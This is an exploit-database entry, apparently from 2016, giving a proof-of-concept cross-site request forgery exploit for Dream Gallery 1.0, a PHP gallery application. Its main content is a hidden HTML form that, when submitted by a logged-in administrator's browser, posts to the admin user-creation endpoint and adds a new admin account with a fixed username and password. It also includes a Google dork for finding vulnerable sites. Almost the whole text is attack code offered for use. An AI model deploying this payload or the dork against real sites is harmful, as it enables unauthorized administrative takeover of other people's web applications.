Dream Gallery 1.0 - Cross-Site Request Forgery (Add Admin)

Author: Ali Ghanbari
type: webapps
platform: php
port: 80.0
date_added: 2016-06-06 
date_updated: 2016-06-06 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url:

<!--
# Exploit Title: Dream Gallery - CSRF Add Admin Exploit
# Google Dork: "Design by Rafael Clares"
# Date: 2016/06/03
# Exploit Author: Ali Ghanbari
# Vendor Homepage: http://phpstaff.com.br/
# Version: 1.0

#Exploit:
-->

<html>
 <body>
   <form method="post"  action="http://localhost/{PACH}/admin/usuario.php?action=incluir">
      <input type="hidden" name="user_login" value="ali">
      <input type="hidden" name="user_password" type="hidden" value="123456" >
      <input type="hidden" name="user_email" value="">
      <input type="submit" value="create">
  </form>
 </body>
</html>

<!--
#########################

[+]Exploit by: Ali Ghanbari

[+]My Telegram :@Exploiter007
-->